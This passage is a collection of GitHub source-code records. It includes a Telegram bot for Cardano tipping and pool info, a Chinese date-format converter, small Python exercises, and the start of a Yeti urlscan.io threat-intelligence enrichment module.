five stars!\"%(stars_that_level))\r\n else:\r\n Total_Errors += 1#Add onto the total errors\r\n print (\"Wrong! You do not gain any stars for that question!\\nYou name have %d out of five stars!\"%(stars_that_level))\r\n if (stars_that_level>=3):#Checks if there are enough stars\r\n print (\"You have enough stars this level, time to move on!\")\r\n else:\r\n print (\"You do not have enough stars to move on to the next level, this as far as you go!\")\r\n return\r\n print (\"Amazing! You beat the game! You answered a total of %d answers wrong this attempt\"%(Total_Errors))\r\n\r\nGameStart()","repo_name":"oktaydoganyildiz/Math-Game","sub_path":"Math Game.py","file_name":"Math Game.py","file_ext":"py","file_size_in_byte":2778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4783207672","text":"#! /Users/nsanthony/miniconda3/bin/python\nimport rooms.room_class as rc\nfrom people.people_directory import person_template\n\nblank = rc.room()\nblank.name = 'blank room'\nblank.descript = 'This is a blank room'\nblank.size = 'You cant see the edge'\nblank.occupied = 0\nblank.people = person_template\nblank.coord = [0,0,0]\nblank.seen = 0\nblank.vis = {}\n\nname = blank","repo_name":"nsanthony/super-fortnight","sub_path":"wwk/py/rooms/room_directory/location_template.py","file_name":"location_template.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3436698577","text":"# Exercice 7 : Pair Ou Impair\n# Des Instructions\n# Écrivez un code qui demande à l'utilisateur un nombre et détermine si ce nombre est pair ou impair.\n\nnb1 = input(\"Enter un nombre : \")\nnb1 = int (nb1)\nif nb1 % 2 == 0:\n print(nb1,\" est paire\")\nelse :\n print(nb1,\" est impaire\")\n","repo_name":"RomaFirst/full-stack-coding-bootcam-ppython-full-time","sub_path":"Week_4/Days1/ExerciceXP/Exercice7.py","file_name":"Exercice7.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"4969167543","text":"import logging\nimport os\nimport re\nimport secrets\nimport time\nfrom datetime import datetime, timedelta\n\nimport requests\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom . import database, utils\nfrom .replies import HTMLReplies\n\n\nclass CardaBotCallbacks:\n def __init__(self) -> None:\n self.base_url = os.environ.get(\"CARDABOT_API_URL\")\n self.cardabotdb = database.CardabotDB(self.base_url)\n self.ebs_pool = \"pool1ndtsklata6rphamr6jw2p3ltnzayq3pezhg0djvn7n5js8rqlzh\"\n self.headers = {\n \"Authorization\": \"Token \" + os.environ.get(\"CARDABOT_API_TOKEN\")\n }\n\n def _inform_error(self, context, chat_id):\n context.bot.send_message(\n chat_id=chat_id,\n text=\"Sorry, something went wrong 😔\",\n )\n\n def _setup_callback(func):\n \"\"\"Decorator to setup callback configs and handle exceptions.\"\"\"\n\n def callback(self, update, context):\n try:\n chat_id = update.effective_chat.id\n language = self.cardabotdb.get_chat_language(chat_id)\n html = HTMLReplies()\n html.set_language(language)\n func(self, update, context, html)\n\n except Exception as e:\n self._inform_error(context, chat_id)\n logging.exception(e)\n return\n\n return callback\n\n @_setup_callback\n def help(self, update, context, html: HTMLReplies = HTMLReplies()) -> None:\n update.message.reply_html(\n html.reply(\"help.html\", supported_languages=html.supported_languages)\n )\n\n @_setup_callback\n def start(self, update, context, html: HTMLReplies = HTMLReplies()) -> None:\n update.message.reply_html(html.reply(\"welcome.html\"))\n self.help(update, context)\n\n @_setup_callback\n def change_language(\n self, update, context, html: HTMLReplies = HTMLReplies()\n ) -> None:\n \"\"\"Change default language of the chat (/language).\"\"\"\n chat_id = update.effective_chat.id\n if update.effective_chat.type == \"group\":\n if not utils.user_is_adm(update, context):\n update.message.reply_html(html.reply(\"not_authorized.html\"))\n return\n\n if not context.args:\n # set language to default (EN) when no args are passed by the user\n default_language = html.default_lang\n html.set_language(default_language)\n self.cardabotdb.set_chat_language(chat_id, default_language)\n update.message.reply_html(html.reply(\"change_lang_success.html\"))\n return\n\n user_lang = \"\".join(context.args).upper()\n if html.set_language(user_lang):\n self.cardabotdb.set_chat_language(chat_id, user_lang)\n update.message.reply_html(html.reply(\"change_lang_success.html\"))\n else:\n update.message.reply_html(\n html.reply(\"change_lang_error.html\", user_lang=user_lang)\n )\n\n @_setup_callback\n def change_default_pool(\n self, update, context, html: HTMLReplies = HTMLReplies()\n ) -> None:\n \"\"\"Change default pool of the chat (/setpool).\"\"\"\n\n if update.effective_chat.type == \"group\":\n if not utils.user_is_adm(update, context):\n update.message.reply_html(html.reply(\"not_authorized.html\"))\n return\n\n chat_id = update.effective_chat.id\n if not context.args:\n # if there are no args, change default pool to `EBS`\n self.cardabotdb.set_default_pool(chat_id, self.ebs_pool)\n update.message.reply_html(html.reply(\"change_default_pool_success.html\"))\n return\n\n user_pool = \"\".join(context.args)\n self.cardabotdb.set_default_pool(chat_id, user_pool)\n update.message.reply_html(html.reply(\"change_default_pool_success.html\"))\n\n @_setup_callback\n def epoch_info(self, update, context, html: HTMLReplies = HTMLReplies()) -> None:\n \"\"\"Get information about the current epoch (/epoch).\"\"\"\n endpoint = \"epoch/\"\n url = os.path.join(self.base_url, endpoint)\n r = requests.get(url, headers=self.headers, params={\"currency_format\": \"ADA\"})\n r.raise_for_status() # captured by the _setup_callback decorator\n data = r.json().get(\"data\", None)\n\n template_args = {\n \"progress_bar\": utils.get_progress_bar(data.get(\"percentage\")),\n \"perc\": data.get(\"percentage\"),\n \"current_epoch\": data.get(\"current_epoch\"),\n \"current_slot\": data.get(\"current_slot\"),\n \"slot_in_epoch\": data.get(\"slot_in_epoch\"),\n \"txs_in_epoch\": data.get(\"txs_in_epoch\"),\n \"fees_in_epoch\": utils.fmt_ada(data.get(\"fees_in_epoch\")),\n \"active_stake\": utils.fmt_ada(data.get(\"active_stake\")),\n \"n_active_stake_pools\": data.get(\"n_active_stake_pools\"),\n \"remaining_time\": utils.fmt_time(\n timedelta(seconds=data.get(\"remaining_time\")),\n html.reply(\"days.html\"),\n ),\n }\n\n update.message.reply_html(html.reply(\"epoch_info.html\", **template_args))\n\n @_setup_callback\n def pool_info(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Get pool basic info (/pool).\"\"\"\n # get stake_id\n if context.args:\n stake_id = str(\"\".join(context.args))\n else:\n chat_id = update.effective_chat.id\n stake_id = self.cardabotdb.get_chat_default_pool(chat_id)\n\n update.message.reply_text(\"⌛ Fetching pool info, please wait...\")\n\n endpoint = f\"pool/{stake_id}\"\n url = os.path.join(self.base_url, endpoint)\n r = requests.get(url, headers=self.headers, params={\"currency_format\": \"ADA\"})\n\n # fmt: off\n if r.status_code == 404:\n template_args = {\"ticker\": stake_id}\n update.message.reply_html(html.reply(\"pool_info_error.html\", **template_args))\n return\n\n data = r.json().get(\"data\", None)\n\n template_args = {\n \"ticker\": data.get(\"ticker\"),\n \"name\": data.get(\"name\"),\n \"description\": data.get(\"description\"),\n \"homepage\": data.get(\"homepage\"),\n \"pool_id\": data.get(\"pool_id\"),\n \"pledge\": utils.fmt_ada(data.get(\"pledge\")),\n \"fixed_cost\": utils.fmt_ada(data.get(\"fixed_cost\")),\n \"margin\": data.get(\"margin\"),\n \"saturation\": data.get(\"saturation\"), # !TODO: fix\n \"saturation_symbol\": utils.get_saturation_icon(data.get(\"saturation\")), # !TODO: fix\n \"controlled_stake_perc\": data.get(\"controlled_stake_percentage\"), # !TODO: fix\n \"active_stake_amount\": utils.fmt_ada(data.get(\"active_stake_amount\")), # !TODO: fix\n \"delegators_count\": data.get(\"delegators_count\"),\n \"epoch_blocks_count\": data.get(\"epoch_blocks_count\"),\n \"lifetime_blocks_count\": data.get(\"lifetime_blocks_count\"),\n }\n # fmt: on\n\n update.message.reply_html(html.reply(\"pool_info.html\", **template_args))\n\n @_setup_callback\n def pots(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Get info about cardano pots (/pots).\"\"\"\n endpoint = \"pots/\"\n url = os.path.join(self.base_url, endpoint)\n r = requests.get(url, headers=self.headers, params={\"currency_format\": \"ADA\"})\n r.raise_for_status() # captured by the _setup_callback decorator\n data = r.json().get(\"data\", None)\n\n template_args = {\n \"treasury\": utils.fmt_ada(data.get(\"treasury\")),\n \"reserves\": utils.fmt_ada(data.get(\"reserves\")),\n \"fees\": utils.fmt_ada(data.get(\"fees\")),\n \"rewards\": utils.fmt_ada(data.get(\"rewards\")),\n \"utxo\": utils.fmt_ada(data.get(\"utxo\")),\n \"deposits\": utils.fmt_ada(data.get(\"deposits\")),\n }\n\n update.message.reply_html(html.reply(\"pots.html\", **template_args))\n\n @_setup_callback\n def netparams(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Get network parameters (/netparams).\"\"\"\n endpoint = \"netparams/\"\n url = os.path.join(self.base_url, endpoint)\n r = requests.get(url, headers=self.headers, params={\"currency_format\": \"ADA\"})\n r.raise_for_status() # captured by the _setup_callback decorator\n data = r.json().get(\"data\", None)\n\n template_args = {\n \"a0\": data.get(\"a0\"),\n \"min_pool_cost\": utils.fmt_ada(data.get(\"min_pool_cost\")),\n \"min_utxo_value\": data.get(\"min_utxo_value\"),\n \"n_opt\": data.get(\"n_opt\"),\n \"rho\": data.get(\"rho\"),\n \"tau\": data.get(\"tau\"),\n }\n\n update.message.reply_html(html.reply(\"netparams.html\", **template_args))\n\n @_setup_callback\n def netstats(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Get network statistics (/netstats).\"\"\"\n endpoint = \"netstats/\"\n url = os.path.join(self.base_url, endpoint)\n r = requests.get(url, headers=self.headers, params={\"currency_format\": \"ADA\"})\n r.raise_for_status() # captured by the _setup_callback decorator\n data = r.json().get(\"data\", None)\n\n template_args = {\n \"ada_in_circulation\": utils.fmt_ada(data.get(\"ada_in_circulation\")),\n \"percentage_in_stake\": data.get(\"percentage_in_stake\"),\n \"stakepools\": data.get(\"stakepools\"),\n \"delegations\": data.get(\"delegations\"),\n \"load_15m\": data.get(\"load_15m\"),\n \"load_1h\": data.get(\"load_1h\"),\n \"load_24h\": data.get(\"load_24h\"),\n }\n\n update.message.reply_html(html.reply(\"netstats.html\", **template_args))\n\n def _get_cardabot_user_id(self, chat_id: str | int) -> int:\n \"\"\"Return the cardabor user id for the given chat_id.\n\n If chat is not connected, return None.\n \"\"\"\n res = requests.get(\n os.path.join(self.base_url, f\"chats/{chat_id}/\"),\n headers=self.headers,\n params={\"client_filter\": \"TELEGRAM\"},\n )\n res.raise_for_status()\n\n return res.json().get(\"cardabot_user_id\", None)\n\n def _get_cardabot_user_address(self, user_id: int) -> str:\n \"\"\"Return the cardabot user address for the given user_id.\n \"\"\"\n res = requests.get(\n os.path.join(self.base_url, f\"users/{user_id}/\"),\n headers=self.headers,\n params={\"client_filter\": \"TELEGRAM\"},\n )\n res.raise_for_status()\n\n return res.json().get(\"stake_key\", None)\n\n\n @_setup_callback\n def connect(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Connect user wallet\"\"\"\n chat_id = update.effective_chat.id\n\n # only allow private chats\n if update.effective_chat.type != \"private\":\n update.message.reply_html(html.reply(\"connection_refused.html\"))\n return\n\n ## Get token from chat_id\n r = requests.get(\n os.path.join(self.base_url, f\"chats/{chat_id}/token/\"),\n headers=self.headers,\n params={\"client_filter\": \"TELEGRAM\"},\n )\n r.raise_for_status() # captured by the _setup_callback decorator\n tmp_token = r.json().get(\"tmp_token\", None)\n\n ## Create unique URL for user\n cardabot_url = self.base_url.replace(\"api/\", \"\")\n connect_url_link = f\"{cardabot_url}connect?token={tmp_token}\"\n\n message = context.bot.send_message(\n chat_id=chat_id,\n text=f\"⬇️ Click the button below to connect your web wallet to CardaBot, so you can starting tipping\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\n text=\"🔗 Connect Wallet\",\n url=connect_url_link,\n )\n ],\n [\n InlineKeyboardButton(\n text=\"📖 Learn more\",\n url=\"https://cardabot.app/faq/\",\n )\n ],\n ]\n ),\n )\n\n # task to run for a couple of minutes or until the user connects his wallet\n def update_message(message, cardabot_user, chat_id, job_id):\n cardabot_user_id = self._get_cardabot_user_id(chat_id)\n stake_addr = self._get_cardabot_user_address(cardabot_user_id)\n if cardabot_user_id != None:\n message.edit_text(\n html.reply(\"connection_success.html\", stake_address=stake_addr), parse_mode=\"HTML\"\n )\n utils.Scheduler.queue.remove_job(job_id)\n\n start_date = datetime.now() + timedelta(seconds=20)\n end_date = start_date + timedelta(seconds=7 * 60)\n job_id = secrets.token_urlsafe(6) # generate tmp id for the job\n utils.Scheduler.queue.add_job( # add job to scheduler\n update_message,\n \"interval\",\n seconds=10,\n start_date=start_date,\n end_date=end_date,\n args=[message, self._get_cardabot_user_id(chat_id), chat_id, job_id],\n id=job_id,\n )\n\n def ebs(self, update, context) -> None:\n update.message.reply_text(\n \"🔔 Follow us on social media!\",\n #\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\n text=\"✨ Twitter ✨\", url=\"https://twitter.com/EveryBlockStd\"\n )\n ],\n [\n InlineKeyboardButton(\n text=\"✨ Instagram ✨\",\n url=\"https://instagram.com/EveryBlockStudio\",\n )\n ],\n [\n InlineKeyboardButton(\n text=\"✨ LinkedIn ✨\",\n url=\"https://www.linkedin.com/company/everyblock-studio/\",\n )\n ],\n [\n InlineKeyboardButton(\n text=\"✨ Telegram ✨\",\n url=\"https://t.me/EveryBlockStudio\",\n )\n ],\n [\n InlineKeyboardButton(\n text=\"✨ Discord ✨\",\n url=\"https://discord.gg/dxNSXpvS9W\",\n )\n ],\n ]\n ),\n )\n\n def _get_network(self) -> str:\n \"\"\"Return the network name\"\"\"\n network = os.environ.get(\"NETWORK\", \"mainnet\").lower()\n if network not in (\"mainnet\", \"testnet\"):\n raise ValueError(\"Invalid network environment variable!\")\n\n return network\n\n @_setup_callback\n def tip(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Tip a user\"\"\"\n if update.message.reply_to_message is None:\n # only allow tip if msg is a response to a user\n update.message.reply_html(html.reply(\"tip_refused.html\"))\n return\n\n txt = update.message.text.split()\n lbound = utils.min_ada()\n if not (len(txt) == 2 and utils.isnumber(txt[1]) and float(txt[1]) > lbound):\n update.message.reply_html(html.reply(\"tip_refused.html\"))\n return\n\n # make sure to create chat_ids for recipient and sender\n self.cardabotdb.get_or_create_chat(int(update.message.from_user.id))\n self.cardabotdb.get_or_create_chat(int(update.message.reply_to_message.from_user.id))\n\n # get data for building tx\n data = {\n \"chat_id_sender\": update.message.from_user.id,\n \"chat_id_receiver\": update.message.reply_to_message.from_user.id,\n \"username_receiver\": update.message.reply_to_message.from_user.username,\n \"amount\": float(txt[1]),\n \"client\": \"TELEGRAM\",\n }\n\n # call cardabot-api to build the tx (get tx_id)\n r = requests.post(\n os.path.join(self.base_url, \"unsignedtx/\"), headers=self.headers, data=data\n )\n\n # verify the tx response\n if r.status_code >= 400:\n message = update.message.reply_text(\n r.json().get(\"detail\", None)\n ) # TODO: improve this, should be an html reply\n return\n\n if r.status_code != 201:\n update.message.reply_text(\"💰 Tip failed!\\n\\n\")\n return\n\n tx_id = r.json().get(\"tx_id\")\n # create a link to sign the tx\n cardabot_url = self.base_url.replace(\"api/\", \"\")\n pay_url_link = f\"{cardabot_url}pay?tx_id={tx_id}\"\n\n # create message with a button to send the tx\n message = update.message.reply_text(\n # chat_id=update.effective_chat.id,\n text=\"⬇️ Click the button below to sign your transaction using your web wallet:\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\n text=\"🔑 Sign Tx\",\n url=pay_url_link,\n )\n ],\n [\n InlineKeyboardButton(\n text=\"📖 Learn more\",\n url=\"https://cardabot.app/faq/\",\n )\n ],\n ]\n ),\n )\n\n # task to run for a couple of minutes or until the tx is submitted to network\n def update_message(message, tx_id, network, job_id, end_date):\n r = requests.get(\n os.path.join(self.base_url, f\"checktx/{tx_id}/\"),\n headers=self.headers,\n )\n\n if r.status_code != 200:\n if datetime.now() > end_date - timedelta(seconds=30):\n message.edit_text(\n text=html.reply(\"tip_fail.html\"), parse_mode=\"HTML\"\n )\n utils.Scheduler.queue.remove_job(job_id)\n return\n\n net = network + \".\" if network == \"testnet\" else \"\"\n message.edit_text(\n text=\"✅ Your transaction was submitted!\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\n text=\"Check Tx on CardanoScan\",\n url=f\"https://{net}cardanoscan.io/transaction/{tx_id}\",\n )\n ],\n ]\n ),\n )\n utils.Scheduler.queue.remove_job(job_id)\n\n start_date = datetime.now() + timedelta(seconds=1)\n end_date = start_date + timedelta(seconds=600)\n job_id = secrets.token_urlsafe(6) # generate tmp id for the job\n utils.Scheduler.queue.add_job( # add job to scheduler\n update_message,\n \"interval\",\n seconds=30,\n start_date=start_date,\n end_date=end_date,\n args=[message, tx_id, self._get_network(), job_id, end_date],\n id=job_id,\n )\n\n def _get_all_cardabot_chats(self) -> list[str]:\n \"\"\"Get all cardabot chats from database, excluding groups.\"\"\"\n r = requests.get(\n os.path.join(self.base_url, \"chats/\"),\n headers=self.headers,\n params={\"client_filter\": \"TELEGRAM\"},\n )\n r.raise_for_status()\n\n chat_ids = [\n chat.get(\"chat_id\") for chat in r.json() if int(chat.get(\"chat_id\")) > 0\n ] # exclude telegram group chats\n\n return chat_ids\n\n @_setup_callback\n def alert(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Send a message to all users.\"\"\"\n sender_chat_id = os.environ.get(\"ADMIN_CHAT_ID\")\n if str(update.effective_user.id) != sender_chat_id:\n update.message.reply_html(html.reply(\"endpoint_refused.html\"))\n return\n\n message = update.message.text.split(\" \", 1)[1]\n chat_ids = self._get_all_cardabot_chats()\n\n utils.send_to_all(bot=context.bot, chat_ids=chat_ids, text=message)\n\n def end_of_epoch_task(self, bot) -> None:\n \"\"\"Send of epoch summary to all users.\"\"\"\n html = HTMLReplies()\n endpoint = \"epochsummary/\"\n url = os.path.join(self.base_url, endpoint)\n r = requests.get(url, headers=self.headers, params={\"currency_format\": \"ADA\"})\n r.raise_for_status() # captured by the _setup_callback decorator\n data = r.json().get(\"data\", None)\n\n template_args = {\n \"epoch\": data.get(\"epoch\", None),\n \"blocks\": data.get(\"blocks\", None),\n \"txs\": data.get(\"txs\", None),\n \"fees\": utils.fmt_ada(data.get(\"fees\", None)),\n \"reserves\": utils.fmt_ada(data.get(\"reserves\", None)),\n \"treasury\": utils.fmt_ada(data.get(\"treasury\", None)),\n }\n\n message = html.reply(\"end_of_epoch_summary.html\", **template_args)\n chat_ids = self._get_all_cardabot_chats() #TODO: exclude users that have disabled the bot messages\n logging.info(\"Sending end of epoch summary message to: %s\", chat_ids)\n utils.send_to_all(bot=bot, chat_ids=chat_ids, text=message, parse_mode=\"HTML\")\n\n @_setup_callback\n def claim(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Claim user funds that are being held temporarily.\"\"\"\n update.message.reply_text(f\"⌛️ We're transfering your funds, please wait...\")\n\n chat_id = update.message.from_user.id\n r = requests.post(\n os.path.join(self.base_url, \"claim/\"),\n headers=self.headers,\n params={\"client_filter\": \"TELEGRAM\"},\n data={\"chat_id_receiver\": chat_id},\n )\n\n if r.status_code == 406 or r.status_code == 404:\n message = update.message.reply_text(\n r.json().get(\"detail\", None)\n ) # TODO: improve this, should be an html reply\n return\n else:\n r.raise_for_status()\n\n network = self._get_network()\n net = network + \".\" if network == \"testnet\" else \"\"\n update.message.reply_text(\n text=\"✅ Your funds were successfuly transfered to you!\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\n text=\"Check Tx on CardanoScan\",\n url=f\"https://{net}cardanoscan.io/transaction/{r.json().get('tx_id')}\",\n )\n ],\n ]\n ),\n )\n return\n\n @_setup_callback\n def balance(self, update, context, html: HTMLReplies = HTMLReplies()):\n \"\"\"Get user balance.\"\"\"\n chat_id = update.message.from_user.id\n\n r = requests.get(\n os.path.join(self.base_url, f\"chats/{chat_id}/balance/\"),\n headers=self.headers,\n params={\"client_filter\": \"TELEGRAM\"},\n )\n r.raise_for_status()\n\n update.message.reply_html(html.reply(\"chat_balance.html\", **r.json()))\n return\n","repo_name":"EveryBlockStudio/cardabot-telegram","sub_path":"cardabot_telegram/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":23569,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"40587169711","text":"\nfrom tkinter.tix import InputOnly\nfrom xml.sax import default_parser_list\nimport numpy as np\nimport pandas as pd\nimport re\nimport chardet\nfrom datetime import datetime\n\nclass DATin(object):\n\n def __init__(self, path, colname):\n self._path = path\n self._colname = colname # 日期的字段\n if self._path.endswith(\".csv\"):\n f = open(self._path, \"rb\") # 判断字元\n data = f.read()\n self.dfold = pd.read_csv(\n self._path, encoding=chardet.detect(data)[\"encoding\"])\n else:\n self.dfold = pd.read_excel(self._path, header=0, sheet_name=0)\n\n @property\n def path(self):\n return self._path\n\n @property\n def colname(self):\n return self._colname\n\n def df_origin(self):\n return self.dfold\n\n def pickup(self):\n \"\"\"取出日期列\"\"\"\n datlist = self.dfold[self._colname]\n iconlist = r\"[年月,/\\-\\.]\" # 用正则表达是,需要判别的符号\n datedf = pd.DataFrame(columns=['Year', 'Month', 'Day'])\n n = 0\n \"\"\" 先判别民国年OR西元年\"\"\"\n for i in datlist:\n YMD = [\"\", \"\", \"\"]\n i = str(i)\n \n try:\n # 判断是否可转为数字\n i = int(i)\n # 判断是否为excel 日期数字\n \n if i <60000 and i >30000:\n dt = datetime.fromordinal(datetime(1900, 1, 1).toordinal() + i - 2) \n tt = dt.timetuple()\n \n YMD= [str(tt.tm_year),str(tt.tm_mon),str(tt.tm_mday)]\n if len(YMD[1]) == 1:\n YMD[1] = \"0\"+YMD[1]\n if len(YMD[2]) == 1:\n YMD[2] = \"0\"+YMD[2]\n \n \n # 为单纯年月日的形式\n else:\n i = str(i)\n if int(i[0:2]) < 17:\n \"\"\"转换百位民国年(100年后)为西元年\"\"\"\n i = str(1911+int(i[0:3]))+i[3:]\n\n elif int(i[0:2]) > 21:\n \"\"\"转换十位民国年(99年前)为西元年\"\"\"\n i = str(1911+int(i[0:2]))+i[2:]\n \n YMD[0] = i[0:4]\n \n if len(i) == 8:\n YMD[1] = i[4:6]\n YMD[2] = i[6:]\n # 仅六码\n elif len(i) == 6:\n if int(i[4:6]) <= 12:\n YMD[1] = i[4:6]\n else:\n YMD[1] = \"0\"+i[4]\n YMD[2] = \"0\"+i[5]\n elif len(i) == 5:\n YMD[1] = \"0\"+i[4]\n # 有七码\n else:\n if i[4] != \"1\":\n YMD[1] = \"0\"+i[4]\n YMD[2] = i[5:7]\n else:\n # 无法判别时加上error\n YMD[1] = i[4:7]\n YMD[2] = \"error\"\n \n\n except:\n # 有分隔符号的形式----------------------------------------------------------------------\n # 前置更换 西元 民国 前两个数字的大小来判断\n if int(i[0:2]) < 17:\n \"\"\"转换百位民国年(100年后)为西元年\"\"\"\n i = str(1911+int(i[0:3]))+i[3:]\n\n elif int(i[0:2]) > 21:\n \"\"\"转换十位民国年(99年前)为西元年\"\"\"\n i = str(1911+int(i[0:2]))+i[2:]\n\n \"\"\"判断有无转分割符号>>>>年月日,/\\-.\"\"\"\n if re.search(iconlist, i):\n i = re.sub(r\"[日]\", \"\", i) # 先去除 日 避免造成多出的空格\n YMD = re.split(iconlist, i)\n if len(YMD) < 3:\n YMD.append(\"\")\n \"\"\"输出日月年的\"\"\"\n \"\"\"若日月为个位数则加0\"\"\"\n if len(YMD[1]) == 1:\n YMD[1] = \"0\"+YMD[1]\n if len(YMD[2]) == 1:\n YMD[2] = \"0\"+YMD[2]\n \n \n datedf.loc[n, ] = YMD\n \n n += 1\n # 输出年月日的dataframe\n return datedf\n\n\nclass DATout(object):\n def __init__(self, datadf, split_icon=\"\", yearform=\"西元年\"):\n self._split_icon = split_icon\n # 决定分隔符号\n self._yearform = yearform\n # 年份形式预设西元年\n self._datadf = datadf\n # DATin 输入的日月年表格\n self.datelist = []\n\n def combine(self):\n for i in range(0, len(self._datadf)):\n # 若是民国年则转换\n if self._yearform == \"民国年\":\n self._datadf.loc[i, \"Year\"] = str(\n int(self._datadf.loc[i, \"Year\"])-1911)\n # 我们透过for循环一行来判断说 x 是否有值 如果没有则不加入到新的字串内\n\n if self._split_icon != \"年月日\": # 判断是否选择年月日连接,若为一般符号,直接相连\n # 以 join 加 if 的判断式,若 日 为空格 则不加入\n combinelist = self._split_icon.join(\n t for t in self._datadf.loc[i] if t)\n\n elif self._split_icon == \"年月日\": # 判断是否选择年月日连接,若为年月日,另外相连\n if self._datadf.loc[i, \"Day\"]: # 以 join 加 if 的判断式,若 日 为空格 则不加入 日\n combinelist = self._datadf.loc[i, \"Year\"]+\"年\" + \\\n self._datadf.loc[i, \"Month\"]+\"月\" + \\\n self._datadf.loc[i, \"Day\"]+\"日\"\n else:\n combinelist = self._datadf.loc[i, \"Year\"] + \\\n \"年\"+self._datadf.loc[i, \"Month\"]+\"月\"\n\n self.datelist.append(combinelist)\n\n return self.datelist\n\n\ndef main():\n path = input(\"输入档案路径:\")\n colname = input(\"日期所在的字段名:\")\n #path2 = input(\"输出档案路径:\")\n #yearform = input(\"民国年\")\n #split_icon = input(\"/\")\n\n date_c = DATin(path, colname) # 进入DATin 运算,创造转型后data\n date_output_form = DATout(date_c.pickup(), \"年月日\", \"民国年\")\n\n date_output = date_c.df_origin()\n date_output[colname] = date_output_form.combine()\n\n date_output.to_excel(\"D:\\Desktop\\日期.xlsx\")\n\n\nif __name__ == '__main__':\n main()\n# D:\\Desktop\\date_test.xlsx \n# date","repo_name":"dudunoyume/DATE","sub_path":"DATE.py","file_name":"DATE.py","file_ext":"py","file_size_in_byte":6795,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73888429812","text":"class Solution:\n def dayOfTheWeek(self, day: int, month: int, year: int) -> str:\n def isleap(year):\n if year % 4 != 0:\n return False\n elif year % 100 != 0:\n return True\n elif year % 400 != 0:\n return False\n else:\n return True\n daysinmonth = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n daysinweek = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"]\n # 1971,1,1 - Friday\n diff = 5\n for y in range(1971, year):\n if isleap(y): \n diff += 366\n else: \n diff += 365\n for m in range(0, month-1):\n diff += daysinmonth[m]\n if month >= 2 and isleap(year):\n diff += 1\n diff += day - 1\n print(diff)\n return daysinweek[diff % 7]\n\nif __name__ == '__main__':\n s = Solution()\n print(s.dayOfTheWeek())","repo_name":"xiaofanc/leetcode","sub_path":"1185-day-of-the-week.py","file_name":"1185-day-of-the-week.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42344713323","text":"import json\nimport logging\n\nimport requests\n\nfrom core.analytics import OneShotAnalytics\nfrom core.config.config import yeti_config\nfrom core.errors import GenericYetiError, ObservableValidationError\nfrom core.observables import AutonomousSystem, Hostname, Ip, Text, Url\n\n\nclass UrlScanIoApi(object):\n \"\"\"\n https://urlscan.io/about-api/\n \"\"\"\n\n API_URL = \"https://urlscan.io/api/v1/search/\"\n\n @staticmethod\n def _process_asn_data(page, observable):\n links = set()\n if page[\"page\"].get(\"asn\"):\n asn = AutonomousSystem.get_or_create(\n value=page[\"page\"][\"asn\"].replace(\"AS\", \"\")\n )\n links.update(asn.active_link_to(observable, \"asn#\", \"UrlScanIo Query\"))\n\n if page[\"page\"].get(\"asnname\"):\n asnname = Text.get_or_create(value=page[\"page\"][\"asnname\"])\n links.update(\n asnname.active_link_to(\n observable, \"asn_name\", \"UrlScanIoQuerycanIo Query\"\n )\n )\n\n if page[\"page\"].get(\"server\"):\n server = Text.get_or_create(value=page[\"page\"][\"server\"])\n links.update(server.active_link_to(observable, \"server\", \"UrlScanIo Query\"))\n\n return list(links)\n\n @staticmethod\n def _process_data(json_result, observable):\n links = set()\n\n for page in json_result:\n if not page.get(\"page\"):\n continue\n\n # IP iocs has more data than the rest\n if not isinstance(observable, Ip) and page[\"page\"].get(\"ip\"):\n try:\n ip = page[\"page\"][\"ip\"]\n new_ip = Ip.get_or_create(value=ip)\n new_ip.add_context({\"source\": \"UrlScanIo\"})\n links.update(\n new_ip.active_link_to(observable, \"ip\", \"UrlScanIo Query\")\n )\n except ObservableValidationError:\n logging.error(\"This ip address is not valid %s\" % ip)\n\n if not isinstance(observable, Hostname) and page[\"page\"].get(\"domain\"):\n try:\n hostname = page[\"page\"][\"domain\"]\n new_host = Hostname.get_or_create(value=hostname)\n new_host.add_context({\"source\": \"UrlScanIo\"})\n links.update(\n new_host.active_link_to(\n observable, \"hostname\", \"UrlScanIo Query\"\n )\n )\n except ObservableValidationError:\n logging.error(\"This hostname not valid: %s\" % hostname)\n\n if not isinstance(observable, Url) and page[\"page\"].get(\"url\"):\n try:\n url = page[\"page\"][\"url\"]\n new_url = Url.get_or_create(value=url)\n new_url.add_context({\"source\": \"UrlScanIo\"})\n links.update(\n new_url.active_link_to(observable, \"url\", \"UrlScanIo Query\")\n )\n except ObservableValidationError:\n logging.error(\"This url is not valid %s\" % url)\n\n links.update(UrlScanIoApi._process_asn_data(page, observable))\n\n @staticmethod\n def fetch(observable):\n types = {\n \"ip\": 'ip:\"{}\"',\n \"hostname\": 'domain:\"{}\"',\n \"hash\": 'hash:\"{}\"',\n }\n\n params = {\"q\": types[observable.type].format(observable.value)}\n 